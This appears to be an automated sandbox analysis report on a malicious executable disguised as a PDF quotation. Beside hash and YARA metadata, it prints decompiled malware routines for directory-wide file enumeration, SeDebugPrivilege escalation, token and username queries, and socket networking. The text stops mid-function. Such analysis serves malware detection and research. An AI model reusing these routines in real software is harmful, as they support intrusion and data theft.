Opcode Fuzzy Hash: c8648d0175a8c832d8ce81f6f7b1997bd300cb560c93f25a340e7b19736b1097
Instruction Fuzzy Hash: E451FB74E2520ACFDB08CFAAC9814AEFBF2FF88240F24D56AC515A7214D7749A41CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05C68C7B, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d34d08ac9c0f1003666ef61cba41e6ccb98a74c18aaf250d22bc7771453e3448
Instruction ID: 6beae5ae1d049b4cb11868b4adf52be11d7b7bde15e9ca41f884a7aa9e6ad6e0
Opcode Fuzzy Hash: d34d08ac9c0f1003666ef61cba41e6ccb98a74c18aaf250d22bc7771453e3448
Instruction Fuzzy Hash: A7411570E0520A9FCB44CFAAC4815AEFBF2AF99300F24C86AC515B7254D7349A51CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 012D5281, Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85bd15245cea59c7c378fb026489cc6ffad4b5948a0060a412d50a3b7d099f31
Instruction ID: 550726171656ccf7f1985a7e4ca3e1dfb0d445af61f3e1bdb73a30e3de23b0d4
Opcode Fuzzy Hash: 85bd15245cea59c7c378fb026489cc6ffad4b5948a0060a412d50a3b7d099f31
Instruction Fuzzy Hash: D4413870E1460A8FCB48CFAAC4815AEFBF2BF88300F24C56AD415E7254E7B49641CF94

Uniqueness

Uniqueness Score: -1.00%

Function 012D5290, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98dc8c1ab550f6132942d2ef9e5124020444596a46352ba9b2c726cb31a2a8d5
Instruction ID: 1af489dae6b57def9820f722202d6f277d216af98cc2a64b27ffb3cba1250454
Opcode Fuzzy Hash: 98dc8c1ab550f6132942d2ef9e5124020444596a46352ba9b2c726cb31a2a8d5
Instruction Fuzzy Hash: 6241F6B0E1460A9FCB48CFAAC4815AEFBF2BF88200F24D52AD415A7254E7749A458F94

Uniqueness

Uniqueness Score: -1.00%

Function 05C68C88, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 052836e1f095a0cfa6e96b5f799f3d9673d2460a8525a9a7425cbd0ad3530a61
Instruction ID: fc57173c3095c0a285e5de47e0395cb6474c29f54b23d2e0bb2aa22e2873ca8b
Opcode Fuzzy Hash: 052836e1f095a0cfa6e96b5f799f3d9673d2460a8525a9a7425cbd0ad3530a61
Instruction Fuzzy Hash: B741F3B0E0521ADFDB44CFAAC5815AEFBF2BB98300F24D86AC515B7254D7349A41CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05C6B800, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d037e74bbc246404614b5afa83f23a7de18c3ca6b5fccfb275667f76497e042a
Instruction ID: 05fefae43dbc1996fe4823b77a5d1dc992e37b469423eae653b490457c6ae656
Opcode Fuzzy Hash: d037e74bbc246404614b5afa83f23a7de18c3ca6b5fccfb275667f76497e042a
Instruction Fuzzy Hash: 2F210671E116198BDB58CFABD9416EEFBF7AFC8210F14C43AD508A7218EB345A018F51

Uniqueness

Uniqueness Score: -1.00%

Function 05C6B7F1, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31070f7800ae118cee9d65bc4f9c888311d9b55169b0f4dff9590701a52190aa
Instruction ID: 5bcc1729f484d6da5c76eff489cd66785bfb7b0a1f3699641b24febac4cb966e
Opcode Fuzzy Hash: 31070f7800ae118cee9d65bc4f9c888311d9b55169b0f4dff9590701a52190aa
Instruction Fuzzy Hash: E221E7B1E116199BDB58CFABD94569EFBF3AFC9200F14C47AD408A7214EB344A428F51

Uniqueness

Uniqueness Score: -1.00%

Function 05C68243, Relevance: 5.1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

Strings

C#Nq, xrefs: 05C6830C
C#Nq, xrefs: 05C68313
$r&t, xrefs: 05C68365
V]"y, xrefs: 05C683BF

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID: $r&t$C#Nq$C#Nq$V]"y
API String ID: 0-3196170867
Opcode ID: 4b4e61d65eec4c280050fcc367fbb288f67cd92db94ca9e617db98b774450177
Instruction ID: 7487c93f37302bbafa15f59506e364e05415f621e83dd9c4c2ec829c86cbbddf
Opcode Fuzzy Hash: 4b4e61d65eec4c280050fcc367fbb288f67cd92db94ca9e617db98b774450177
Instruction Fuzzy Hash: 8C512774E1421ADFCB44CFA9D8849EEFBB2FF88310F14896AD511A7214DB309A52CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05C68250, Relevance: 5.1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

Strings

C#Nq, xrefs: 05C6830C
C#Nq, xrefs: 05C68313
$r&t, xrefs: 05C68365
V]"y, xrefs: 05C683BF

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID: $r&t$C#Nq$C#Nq$V]"y
API String ID: 0-3196170867
Opcode ID: bde8117c680067d440a5b5dcbeeba67aa7594d0aa4cd38730870b6dc43b4cd84
Instruction ID: 4b0bb2852443fa6cc476023746679a96bf69f9f8af7c69e766b5d566e1070c9d
Opcode Fuzzy Hash: bde8117c680067d440a5b5dcbeeba67aa7594d0aa4cd38730870b6dc43b4cd84
Instruction Fuzzy Hash: 40510674E10219DBCB44CFA9D8849AEFBB2FF88310F20996AD515A7214DB34AA51CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Cotizaci#U00f3n-20210803.pdf.exe PID: 6108 Parent PID: 5764 Cotizaci#U00f3n-20210803.pdf.exeCOMMON

Executed Functions

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Program Files, xrefs: 00403E01
Windows, xrefs: 00403DEA
%s\*, xrefs: 00403D99
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4, Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				int _v8;
				long _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr* _t25;
				int _t27;
				int _t30;
				int _t31;
				int _t36;
				int _t37;
				intOrPtr* _t39;
				int _t40;
				long _t44;
				intOrPtr* _t45;
				int _t46;
				void* _t48;
				int _t49;
				void* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								_t39 = E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 =  *_t39(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t67 = E00405B6F(__eflags, L"%s", _t49);
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 00406304
IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: cd662bacda138fad525beeffca010871ee416c8799393d48ee72f9c5f8360390
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: cd662bacda138fad525beeffca010871ee416c8799393d48ee72f9c5f8360390
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 72e0338d38ad33957d38c9089103d94f386660c6381396b24b8f460aac80ca0e
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 72e0338d38ad33957d38c9089103d94f386660c6381396b24b8f460aac80ca0e
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
